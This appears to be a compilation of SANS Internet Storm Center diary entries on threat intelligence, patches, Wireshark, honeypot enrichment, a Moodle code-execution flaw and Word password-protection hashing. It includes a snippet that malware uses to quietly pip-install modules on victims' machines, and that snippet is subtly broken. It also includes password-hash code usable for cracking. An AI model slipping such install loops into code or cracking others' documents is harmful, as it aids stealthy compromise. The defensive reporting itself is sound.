[d] Mitre ATT&CK: Account Manipulation (T1098) - Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.[1] These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. [23]
[e] Mitre ATT&CK: Indicator Removal. File Deletion (T1070.004) - Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint. [23]
[f] Mitre ATT&CK: System Information Discovery (T1082) - An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. [23]
[g] Mitre ATT&CK: System Service Discovery (T1007) - Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start. [23]
[h] Mitre ATT&CK: Resource Hijacking (T1496) - Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. [23]
[i] Mitre ATT&CK: Compromise Infrastructure.Botnet (T1584.008) - Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment -- instead leveraging these devices to support additional targeting. [23]
[j] Mitre ATT&CK: Valid Accounts.Local Accounts (T1078.003) - Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. [23]
[k] Mitre ATT&CK: Brute Force.Password Spraying (T1110.003) - Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials.

[1] sans.edu Internet Storm Center - SANS Internet Storm Center
[2] Rumsfeld Matrix (theuncertaintyproject.org)
[3] Submit Your Firewall Logs - SANS Internet Storm Center
[4] JSON To CSV Converter (convertcsv.com)
[5] JSON to CSV - CSVJSON
[6] VirusTotal - Home
[7] Joe Sandbox
[8] Shodan Search Engine
[9] Mitre ATT&CK
[10] Five Ws - Wikipedia
[11] secure linux/secure.sh
[12] VirusTotal - File
[13] Dota3 Malware Again and Again | CounterCraft (countercraftsec.com)
[14] Assimilation | Memory Alpha | Fandom
[15] Cryptojacking – What is it, and how does it work? | Malwarebytes
[16] XMRig
[17] Dota3: Is your Internet of Things device moonlighting? | Official Juniper Networks Blogs
[18] List of ISO 3166 country codes - Wikipedia
[19] Create a Map chart in Excel - Microsoft Support
[20] Tactics - Enterprise | MITRE ATT&CK®
[21] blog.port22.dk
[22] 15+ Shocking Botnet Statistics and Facts for 2024 (comparitech.com)
[23] Global Threat Intelligence Report April (blackberry.com)
[24] Bastion host - Wikipedia
[25] A Look Back at the Top 12 IoT Exploits of 2021 (Part 1) (finitestate.io)
[26] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Since I’m interested in malicious Python scripts, I found multiple samples that rely on existing libraries. The most-known repository is probably pypi.org[1] that reports, as of today, 567,478 projects! Malware developers are like regular developers: They don’t want to reinvent the wheel and make their shopping across existing libraries to expand their scripts capabilities.

I compiled a list of libraries that are often used by malicious scripts. Warning! These libraries are NOT malicious, they are also used for totally legit purposes. Like many Windows API calls, they are just (ab)used by developers. Here is my top list:

If not available on the victim's computer, these modules can be easily installed using a few lines of code:

import time
from sys import executable

required_modules = [ "module1", "module2", "moduleN" ]
for m in required_modules:
    try:
        import m
    except:
        subprocess.Popen(f"\"{executable}\" -m pip install {m} --quiet", shell=True)
        time.sleep(3)

If you discover more Python libraries sometimes used for malicious reasons, please share! I'd like to keep this list up-to-date!

[1] https://pypi.org/
[2] https://learn.microsoft.com/en-us/windows/win32/perfctrs/using-the-pdh-functions-to-consume-counter-data

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Today, Microsoft released its scheduled September set of patches. This update addresses 79 different vulnerabilities. Seven of these vulnerabilities are rated critical. Four vulnerabilities are already being exploited and have been made public. 

Noteworthy Vulnerabilities:

CVE-2024-43491: This "downgrade" vulnerabilities. An attacker can remove previously applied patches and exploit older vulnerabilities. This issue only affects Windows 10 Version 1507, which is EOL. It appears to differ from the similar vulnerabilities (CVE-2024-38202 and CVE-2024-21302) made public by Alon Leviev during Blackhat this year. These two vulnerabilities appear to remain unpatched.

CVE-2024-38014: A Windows Installer issue could lead to attackers gaining System access.

CVE-2024-38217: Yet another "Mark of the Web" bypass that is already exploited and could be used to trick a victim into installing malware.

CVE-2024-38226: Similar to the above vulnerability, a security feature bypass in Publisher.

Microsoft also patched four remote code execution vulnerabilities in Sharepoint, but the lower CVSS score indicates that exploitation will require access and specific prerequisites.

CVE-2024-38119: A critical vulnerability in the Windows NAT code. The low CVSS score is likely because this is not enabled by default.

Vulnerabilities: 79

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

New IP address functions have been added in Wireshark 4.4 (if you use Wireshark on Windows, there's a bug in release 4.4.0: the DLL with these functions is missing, it will be included in release 4.4.1; all is fine with Linux and Mac versions of Wireshark).

These are the functions:

They are explained in the Wireshark filter manual under "Functions".

Function ip_rfc1918, for example, returns True when the argument of this function is a private use IPv4 address. It can be used as a display filter, like this:

These functions can also be used in custom columns, like function ip_special_name that returns the IP special-purpose block name as a string:

To summarize: these functions were introduced with Wireshark release 4.4, but this will not work only if you are using Windows version 4.4.0. I used release candicate 4.4.1 to take these screenshots, as the missing dll (ipaddress.dll) is present in that package.

Didier Stevens
Senior handler
blog.DidierStevens.com

Here are more details on the power consumption of my desktop computer when I crack passwords (cfr diary entry "Quickie: Password Cracking & Energy").

The vertical scale of this chart is expressed in Watts:

1. 0 Watt: my desktop computer is turned off
2. 76 Watt average: my desktop computer is turned on & idling
3. 151 Watt average: hashcat is running in dictionary attack mode cracking SHA256 hashes
4. 445 Watt average: hashcat is running in brute-force attack mode cracking SHA256 hashes

The most power is required (445 Watt) when hashcat is using the GPU ( NVIDIA GeForce RTX 3080) in brute-force attack mode. For comparison, 445 Watt average continuous is enough to heat my office in winter to a nice & comfy temperature, I don't need central heating in that room when hashcat is running for many hours.

You might wonder if 445 Watt is enough for that, given that electrical heaters typically come in 1000+ Watt models. But electrical heaters don't consume electrical power constantly to heat a room, they have a thermostat that shuts of current flow regularly when the desired room temperature is reached. They are more powerfull so that they can heat up a room faster. While my desktop computer requires 445 Watt continuously when cracking with the GPU.

Didier Stevens
Senior handler
blog.DidierStevens.com

PythonScript is a Notepad++ plugin that provides a Python interpreter to edit Notepad++ documents.

You install PythonScript in Notepad++ like this:

Use "New Script" to create a new Python script:

As an example, I will create a template substitution script, something that I use often. You provide a substitution template as input, and then each line of the open document is substituted according to the given template.

First we create the script substitute.py:

This is the template substitution script I developed:

def Substitute(contents, lineNumber, totalLines):
    contents = contents.rstrip('\n\r')
    if contents != '':
        editor.replaceLine(lineNumber, template.replace(token, contents))

token = notepad.prompt('Provide a token', 'Substitute token', '%%')
template = notepad.prompt('Provide a template', 'Substitute template', '')
if token != None and template != None:
    editor.forEachLine(Substitute)

You can paste it into Notepad++:

I will now demonstrate the script on a new document I created in Notepad++: the list of today's top 10 scanning IP addresses:

For each IP address, I want to generate a command that I will then execute.

The script can now be invoked to be executed on this open document like this:

The first line of Python script substitute.py to be executed, is line 6 (token = notepad.prompt...). It prompts the user for a token string (default %%), this is a string that, when used in the template string, will be replaced by each line in the open document

Line 7 prompts the user for a template string:

When the user has not cancelled answering the prompts (tested in line 8), line 9 (editor.forEachLine(Substitute)) is executed: it runs function Substitute on each line of the document:

Then I can copy/paste all these generated commands into a cmd.exe console:

This example is a bit contrived, as you could also use a for loop in the scripting shell to achieve the same result.

I also use this Python script often when I'm programming. Say that I want to hardcode this list of scanning IP addresses in a Python script. I can quickly create a Python list as follows:

And then I add the variable assignment statemnt and create a list:

Didier Stevens
Senior handler
blog.DidierStevens.com

I like to enrich my honeypot data from a variety of sources to help understand a bit more about the context of the attack. This includes the types of networks the attacks are coming from or whether malware submitted to a honeypot is new. I use a variety of sources to enrich my cowrie data using cowrieprocessor [1]:

• Internet Storm Center / DShield API [2]
• URLhaus [3]
• SPUR [4]
• VirusTotal [5]

I was curious how often the data changed and how "fresh" the data needs to be in order to be accurate. In a previous diary I went into details about VirusTotal data and vendor comparisons [6]. 

Data Collection

Data was pulled from the above sources using my cowrieprocessor script [1]. The script keeps a local copy of most enrichment data, which means I can always go through the JSON files at a later date to extract different information. The data I have goes back as far as May 2022. My honeypots schedule this data enrichment to happen once a day for attacks that happened the previous day. This means a minimum gap of time of 24 hours between enrichment data queries. This process was scheduled to run more frequently in 2022 and 2023 and may have a smaller gap between enrichment queries of 6-12 hours. 

VirusTotal Data

I extracted the following fields for comparison:

• ID (file hash)
• Malicious (number of vendors/engines that label the file as malicious)
• Suspicious  (number of vendors that label the file as suspicious)
• Undetected (number of vendors that did not have any detection)
• Harmless (number of vendors that label the file as harmless)
• Timeout (number of vendors that had a timeout)
• Confirmed-timeout (number of vendors that confirmed the timeout)
• Failure (number of vendors where a failure was reported)
• Type-unsupported (number of vendors that did not support the indicator type)
• Type_tag (type of file)
• Type_description (type description)

More details about the VirusTotal data fields can be found in their documentation [7]. The data was reviewed to look for hashes that showed a wide range of total "malicious" indicators as determined by different products. 

Figure 1: VirusTotal results over time for hash 062ba629c7b2b914b289c8da0573c179fe86f2cb1f70a31f9a1400d563c3042a [8].

Figure 2: VirusTotal results over time for hash 47b268c21591069bfe4099833ad66b8138a53ab2dcb866e040d466aee1f8624c [9].

Figure 3: VirusTotal results over time for hash 306f0c79ad9ee76e996556f909306fda5704b456d670aa9daeb54760b4b5e4f6 [10].

This demonstrates that VirusTotal data can take months to have a large increase in malicious hits. The hash from Figure 3 was first submitted on March 10, 2023, so even though it looks like a very quick change in my sample of data, this was approximatey two months from the initial submission. Even if the data looks stable, it may have a dramatic change.

URLhaus Data

URLHaus can be a good location of malicious URLs that may be used in phishing or other attacks, such as those seen in Cowrie honeypots. The data was reviewed to look for IP addresses that had a reported URL count change over time. In figure 4, the URL count increased by approximately 1 URL a day until it increased more dramatically between 11/8/2022 and 11/11/2022.

Figure 4: URLhaus reported URL changes over time for %%ip:179.43.175.5%%.

In figure 5, the IP address URL count almost doubled in a couple of days.

Figure 5: URLhaus reported URL changes over time for %%ip:193.42.33.81%%.

SPUR Data

The data compared was retrieved from SPUR, but this kind of WHOIS data is available from a variety of sources. First, I wanted to take a look at how many differences were seen in the registration data by IP address. I limited the information compared to the IP address, organization and location information.

Figure 6: Breakdown of IP addresses and how many unique sets of data were seen per IP address.

Over 3/4 of the IP addresses didn't have any change in the information reported. For the most part, the data doesn't change often. However, there were several IP addresses that had multiple changes. In figure 7, there were changes on average about once a month for the location.

Figure 7: IP Address %%ip:201.186.40.250%% showing changes in geographic regions over time.

In figure 8, the organization changed every couple of months between March and July of 2024. It may have changed more frequently, but was not recorded by my honeypot.

Figure 8: IP Address %%ip:101.32.114.105%% showing changes in organization name over time.

The raw WHOIS information for %%ip:101.32.114.105%% contains information that refers to both organizations listed from the SPUR data.

% Information related to '101.32.112.0 - 101.32.175.255'

% Abuse contact for '101.32.112.0 - 101.32.175.255' is 'qcloud_net_duty@tencent.com'

inetnum:        101.32.112.0 - 101.32.175.255
netname:        ACEVILLEPTELTD-SG
descr:          16 COLLYER QUAY
country:        SG
admin-c:        APA7-AP
tech-c:         APA7-AP
abuse-c:        AA1875-AP
status:         ALLOCATED NON-PORTABLE
mnt-by:         MAINT-ACEVILLEPTELTD-SG
mnt-irt:        IRT-ACEVILLEPTELTD-SG
last-modified:  2022-02-16T17:35:17Z
source:         APNIC

irt:            IRT-ACEVILLEPTELTD-SG
address:        16 COLLYER QUAY, # 18-29, INCOME AT RAFFLES, SINGAPORE
e-mail:         qcloud_net_duty@tencent.com
abuse-mailbox:  qcloud_net_duty@tencent.com
admin-c:        APA7-AP
tech-c:         APA7-AP
auth:           # Filtered
remarks:        qcloud_net_duty@tencent.com is invalid
mnt-by:         MAINT-ACEVILLEPTELTD-SG
last-modified:  2024-05-22T13:07:48Z
source:         APNIC

role:           ABUSE ACEVILLEPTELTDSG
address:        16 COLLYER QUAY, # 18-29, INCOME AT RAFFLES, SINGAPORE
country:        ZZ
phone:          +000000000
e-mail:         qcloud_net_duty@tencent.com
admin-c:        APA7-AP
tech-c:         APA7-AP
nic-hdl:        AA1875-AP
remarks:        Generated from irt object IRT-ACEVILLEPTELTD-SG
remarks:        qcloud_net_duty@tencent.com is invalid
abuse-mailbox:  qcloud_net_duty@tencent.com
mnt-by:         APNIC-ABUSE
last-modified:  2024-05-22T13:08:48Z
source:         APNIC

role:           ACEVILLE PTELTD administrator
address:        16 COLLYER QUAY, #18-29, INCOME AT RAFFLES, SINGAPORE
country:        SG
phone:          +8613923479936
fax-no:         +8613923479936
e-mail:         qcloud_net_duty@tencent.com
admin-c:        APA7-AP
tech-c:         APA7-AP
nic-hdl:        APA7-AP
mnt-by:         MAINT-ACEVILLEPTELTD-SG
last-modified:  2023-03-17T12:36:41Z
source:         APNIC

Regardless of where you get your enrichment data, it will change over time. Get updated information when you can and use multiple sources of enrichment data for comparison.

[1] https://github.com/jslagrew/cowrieprocessor
[2] https://isc.sans.edu/api/
[3] https://urlhaus.abuse.ch/
[4] https://spur.us/
[5] https://www.virustotal.com/
[6] https://isc.sans.edu/diary/VirusTotal+Result+Comparisons+for+Honeypot+Malware/29040
[7] https://github.com/demisto/content/blob/master/Packs/VirusTotal/Integrations/VirusTotalV3/README.md
[8] https://www.virustotal.com/gui/file/062ba629c7b2b914b289c8da0573c179fe86f2cb1f70a31f9a1400d563c3042a
[9] https://www.virustotal.com/gui/file/47b268c21591069bfe4099833ad66b8138a53ab2dcb866e040d466aee1f8624c
[10] https://www.virustotal.com/gui/file/306f0c79ad9ee76e996556f909306fda5704b456d670aa9daeb54760b4b5e4f6
[11] https://bgpview.io/prefix/101.32.114.0/23#whois

--
Jesse La Grew
Handler

[This is a Guest Diary by Joshua Tyrrell, an ISC intern as part of the SANS.edu BACS program]

Managing the Attack Surface

You’ve begun the journey of reviewing your IT infrastructure and attempting to figure out how to protect yourself from those who might not have the greatest intentions. That’s great! Stop yourself though, before you get too far into the weeds of the different technologies available to you to defend yourself. Before you get to that point, there are some details that need to be fleshed out. Let’s have a look:

• What industry are you in? Depending on the service provided, you may already have a baseline that you need to be at, provided to you by those who came before you and have danced with those who mean you harm.
• Where and who do you do business with? If you’re a utility provider in Topeka, Kansas, does it make sense to have your online presence available to the general public outside of the Continental United States? Think about the potential risk versus limiting access to those who need to manage it.
• What does your organization actually need to be successful? What data do you actually need to survive, what devices are necessary, what software will get you to where you need to be?

These are all pertinent questions to either scaling up or scaling down your attack surface and working towards having chaos-free Friday nights. 

Fortify the Exterior Walls

Defense-in-Depth is the name of the game in the 21st Century, but that doesn’t mean we shouldn’t be doing what we can to make sure the perimeter walls aren’t as imposing as possible. You use firewalls, yes, but are you using them to their maximum potential? Modern firewalls allow for geo-blocking, which is the blocking of traffic based on IP addresses correlated to countries. These databases are updated somewhat regularly, so there is maintenance to be done on your firewalls to make sure they’re up to date. If you’d like even stronger evidence for using geo-blocking, search for “Top 10 Countries where cyber attacks originate”. Lists have been generated by teams across the world to show where many of the world’s cyber criminals are calling home. Now though, what if you do have a business partner that resides in one of those countries that you may not want traffic widely from? Easy enough, create an exception for their ASN in the geo-fence. 

Another tool at your disposal is reputation filtering. This process allows your firewall to reference the IP of either source or destination and forward or drop the packet as per the policy. This can be highly effective at reducing the amount of potentially malicious traffic that is not initially blocked by your geo-fence. Take heed though: Cloud Service Providers may be unintentionally flagged and dropped due to the nature of their business model. There is a way to help you navigate this mystery though, and that is to simply look at who the largest CSP’s are, and weigh that against historical traffic to your assets. You may want to allow AWS, Azure, GCP, and even DigitalOcean, but how about that small-time server farm in Seychelles? Or the Netherlands? Those you can probably block outright, after considering those initial questions we talked about earlier. 

We spoke about traffic coming to the outer walls, but what about traffic trying to get out of the gate? You should consider blocking websites internally. i.e. social media sites. You can go one step further and segment your network to allow certain employees to access those sites, should it be within their role’s purview. If employees want to peruse social media while working, let’s say they’re on downtime, then force them to connect their devices to a well-segmented guest network. It is probably not worth allowing them to access these things from a network that also houses production environments though. 

Email is one of the most widely abused mechanisms for delivering malware and social engineering. What can we do about it though? Well let’s set up an email gateway, so we can filter out the wheat from the chaff. Modern email gateways allow integration of services like VirusTotal, which would scan the email attachments and flag them for being potentially malicious. You could also integrate a sandbox, which would then scan and ‘detonate’ email attachments to find the malicious threats hidden in the mail. Obviously, before implementing these services you need to test them. That goes for all your possible interventions though; don’t just throw things into your infrastructure and hope for the best. 

Another way to protect from bad emails is reputation filtering, much the same way we discussed earlier. There is a problem however- scammers, spammers and all the other generally not-so great people like to use free email services like Gmail, much like the rest of us. So, what could we do? We can’t just block inbound Gmail, that could be disastrous for communications. What we can do is server-side filtering to allow the free email services to go to some internal email addresses but not to another. Your customer service team might need to talk to people who are using Gmail, but how about your engineering team? Or your HR team? 

You can safely assume that these protections can be costly, in terms of both finance and time. If you’re a smaller organization, these might not be feasible to do, at least in-house. You may have to source the assistance of a third party, or perhaps form a consortium with other like-entities and purchase the solutions from a vendor. When considering time, think about your mean time to recovery. If you’re organization is breached, how long do you have until there’s no coming back?

Harden your Outposts

You need to be better at managing your devices. You might find the tone accusatory, which is fine, it’s supposed to be. By reading that statement though, you probably just started doing an inventory of all the things you’ve done to protect your endpoints, to the best of your knowledge and ability. Let’s look at some of the top things you can do to make sure you’re best protected.

First, you need to inventory what you have. You cannot protect what you don’t know exists, so go ahead and run that internal nmap discovery scan to find that web server you stood up 10 years ago but then never touched again. 

Now that you know what you have, let’s take a look at patches. Patching needs to be done, or if not, then you need a good excuse and mechanisms to protect the enterprise from issues that may arise from leaving a weakness in the network defenses. Depending on where that weakness is, you’ll need to increase the surveillance on the assets that connect to that unpatched or out-of-date asset. Patch management also needs to exist, don’t just run “Scan for Updates” on your Windows machine then let it update in the middle of the workday. Have yourself a testing environment, and stage those updates. If you need any other supporting evidence for this notion, then I’ll direct your attention to the recent global CrowdStrike outage. 

BYOD, or “Bring Your Own Device”, is an idea that has taken off due to cost, but it does have its issues. The first issue is vulnerability management for that device. You have potentially hundreds or even thousands of different devices that you have no control of whether they are up to date with the latest security patches. If you cannot avoid BYOD, say because of cost, then you’ll need to really be up to date on what devices your employees are hooking to the network. Make a note of the devices they plan on using for work, and if they purchase a new one, have them reach out to your IT staff and let them know about it. If you cannot control what devices are accessing your data, then you’ll need to compensate by working even harder to manage your alerting mechanisms.

Data commingling is another issue. How to control what happens to the business data that is on that device? Applications as well, having no idea what these people are downloading on to their devices and the vulnerabilities they are introducing. More on Application Control: find the best possible software for what you need it to do and stick to that. It does you no favors to use several different IDEs for software development, or package management. This also assists in general IT operations, not just security. 

Managing the attack surface is no easy task, and entire books could be and have been written on what to should do. I hope though, that what I’ve highlighted here today helps you down your path. 

[1] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

On August 10th, the popular learning platform "Moodle" released an update fixing %%cve:2024-43425%%. RedTeam Pentesting found the vulnerability and published a detailed blog post late last week. The blog post demonstrates in detail how a user with the "trainer" role could execute arbitrary code on the server. A trainer would have to publish a "calculated question". These questions are generated dynamically by evaluating a formula. Sadly, the formula was evaluated using PHP's "eval" command. As pointed out by RedTeam Pentesting, "eval" is a very dangerous command to use and should be avoided if at all possible. This applies not only to PHP but to most languages (also see my video about command injection vulnerabilities). As I usually say: "eval is only one letter away from evil".

The exploit does require the attacker to be able to publish questions. However, Moodle is used by larger organizations like Universities. An attacker may be able to obtain credentials as a "trainer" via brute forcing or credential stuffing.

I got pointed to "Moodle" after seeing this URL in our "First Seen" list of newly accessed URLs:

/lib/ajax/service.php?info=tool_mobile_get_public_config&lang=en

This "public config" may return additional details in some cases, but from my tests with a demo instance of Moodle, it only returns:

 {"error":"Coding error detected, it must be fixed by a programmer: Invalid json in request: Syntax error","errorcode":"codingerror","stacktrace":null,"debuginfo":null,"reproductionlink":null}

At least this URL could be used to find Moodle instances and probe them later with more specific exploits. I will have to add this case to our honeypot responses to get more details. These scans are not new, but we had only individual scans (one or two per day) so they never passed our threshold as "significant". Only yesterday did they pass the "line".

But in the meantime:

1. Keep Moodle up to date (they do have a decent chart outlining support timeframes for different versions)
2. Audit the "trainer" accounts, not just because of the vulnerability, but in general, they can cause damage to the system.
3. Let me know if you have additional insight into Moodle. Is there something else that this URL could trigger?

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Just like "Protected OOXML Spreadsheets", Word documents can also be protected:

You have to look into the word/settings.xml file, and search for element w:documentProtection:

The hash algorithm is the same as for OOXML spreadsheets. However, you will not be able to use hashcat to crack protected Word document hashes, because the password is encoded differently before it is repeatedly hashed.

A legacy algorithm is used to preprocess the password, and I found a Python implementation here.

# https://stackoverflow.com/questions/65877620/open-xml-document-protection-implementation-documentprotection-class
dHighOrderWordLists = [
    [0xE1, 0xF0],
    [0x1D, 0x0F],
    [0xCC, 0x9C],
    [0x84, 0xC0],
    [0x11, 0x0C],
    [0x0E, 0x10],
    [0xF1, 0xCE],
    [0x31, 0x3E],
    [0x18, 0x72],
    [0xE1, 0x39],
    [0xD4, 0x0F],
    [0x84, 0xF9],
    [0x28, 0x0C],
    [0xA9, 0x6A],
    [0x4E, 0xC3]
]

dEncryptionMatrix = [
    [[0xAE, 0xFC], [0x4D, 0xD9], [0x9B, 0xB2], [0x27, 0x45], [0x4E, 0x8A], [0x9D, 0x14], [0x2A, 0x09]],
    [[0x7B, 0x61], [0xF6, 0xC2], [0xFD, 0xA5], [0xEB, 0x6B], [0xC6, 0xF7], [0x9D, 0xCF], [0x2B, 0xBF]],
    [[0x45, 0x63], [0x8A, 0xC6], [0x05, 0xAD], [0x0B, 0x5A], [0x16, 0xB4], [0x2D, 0x68], [0x5A, 0xD0]],
    [[0x03, 0x75], [0x06, 0xEA], [0x0D, 0xD4], [0x1B, 0xA8], [0x37, 0x50], [0x6E, 0xA0], [0xDD, 0x40]],
    [[0xD8, 0x49], [0xA0, 0xB3], [0x51, 0x47], [0xA2, 0x8E], [0x55, 0x3D], [0xAA, 0x7A], [0x44, 0xD5]],
    [[0x6F, 0x45], [0xDE, 0x8A], [0xAD, 0x35], [0x4A, 0x4B], [0x94, 0x96], [0x39, 0x0D], [0x72, 0x1A]],
    [[0xEB, 0x23], [0xC6, 0x67], [0x9C, 0xEF], [0x29, 0xFF], [0x53, 0xFE], [0xA7, 0xFC], [0x5F, 0xD9]],
    [[0x47, 0xD3], [0x8F, 0xA6], [0x0F, 0x6D], [0x1E, 0xDA], [0x3D, 0xB4], [0x7B, 0x68], [0xF6, 0xD0]],
    [[0xB8, 0x61], [0x60, 0xE3], [0xC1, 0xC6], [0x93, 0xAD], [0x37, 0x7B], [0x6E, 0xF6], [0xDD, 0xEC]],
    [[0x45, 0xA0], [0x8B, 0x40], [0x06, 0xA1], [0x0D, 0x42], [0x1A, 0x84], [0x35, 0x08], [0x6A, 0x10]],
    [[0xAA, 0x51], [0x44, 0x83], [0x89, 0x06], [0x02, 0x2D], [0x04, 0x5A], [0x08, 0xB4], [0x11, 0x68]],
    [[0x76, 0xB4], [0xED, 0x68], [0xCA, 0xF1], [0x85, 0xC3], [0x1B, 0xA7], [0x37, 0x4E], [0x6E, 0x9C]],
    [[0x37, 0x30], [0x6E, 0x60], [0xDC, 0xC0], [0xA9, 0xA1], [0x43, 0x63], [0x86, 0xC6], [0x1D, 0xAD]],
    [[0x33, 0x31], [0x66, 0x62], [0xCC, 0xC4], [0x89, 0xA9], [0x03, 0x73], [0x06, 0xE6], [0x0D, 0xCC]],
    [[0x10, 0x21], [0x20, 0x42], [0x40, 0x84], [0x81, 0x08], [0x12, 0x31], [0x24, 0x62], [0x48, 0xC4]]
]


def WordEncodePassword(password):
  password_bytes = password.encode('utf-8')
  password_bytes = password_bytes[:15]

  password_length = len(password_bytes)

  if password_length > 0:
    high_order_word_list = dHighOrderWordLists[password_length - 1].copy()
  else:
    high_order_word_list = [0x00, 0x00]

  for i in range(password_length):
    password_byte = password_bytes[i]
    matrix_index = i + len(dEncryptionMatrix) - password_length

    for j in range(len(dEncryptionMatrix[0])):
      # Only perform XOR operation using the encryption matrix if the j-th bit is set
      mask = 1 << j
      if (password_byte & mask) == 0:
        continue

      for k in range(len(dEncryptionMatrix[0][0])):
        high_order_word_list[k] = high_order_word_list[k] ^ dEncryptionMatrix[matrix_index][j][k]

  low_order_word = 0x0000

  for i in range(password_length - 1, -1, -1):
    password_byte = password_bytes[i]
    low_order_word = (
      (((low_order_word >> 14) & 0x0001) | ((low_order_word << 1) & 0x7fff))
      ^ password_byte
    )

  low_order_word = (
    (((low_order_word >> 14) & 0x0001) | ((low_order_word << 1) & 0x7fff))
    ^ password_length
    ^ 0xce4b
  )

  low_order_word_list = [(low_order_word & 0xff00) >> 8, low_order_word & 0x00ff]

  key = high_order_word_list + low_order_word_list
  key.reverse()

  # `key_str` is a hex string with uppercase hexadecimal letters, e.g. '7EEDCE64'
  key_str = ''.join(f'{c:X}' for c in key)

  return key_str

This password preprocessing code can then be used with the same hashing function as for Excel, like this:

def CalculateHash(password, salt):
    passwordBytes = password.encode('utf16')[2:]
    buffer = salt + passwordBytes
    hash = hashlib.sha512(buffer).digest()
    for iter in range(100000):
        buffer = hash + struct.pack('<I', iter)
        hash = hashlib.sha512(buffer).digest()
    return hash

def WordCalculateHash(password, salt):
    return CalculateHash(WordEncodePassword(password), binascii.a2b_base64(salt))

Using password "P@ssword" and the salt seen in the screenshot above, we can calculate the hash:

This calculated hash (BASE64 representation) is the same as the stored hash, thus the password is indeed "P@ssw0rd".

Didier Stevens
Senior handler
blog.DidierStevens.com

Display filters are used to define expressions that decide which packets get displayed, and which not in Wireshark's packet list.

Berkeley Packet Filter (BPF) expressions decide which packets get captured, and which not when Wireshark is capturing traffic.

Both expression types have a different syntax.

Wireshark release 4.4 brings a new feature to convert display filter expressions to BPF expressions.

Type your display filter expression into the display filter box, and then select this menu entry: Edit / Copy / Display filter as pcap filter.

The capture filter expression is put on the clipboard:

tcp dst port 443

If Wireshark can not convert an expression, the menu option will be grayed-out:

Didier Stevens
Senior handler
blog.DidierStevens.com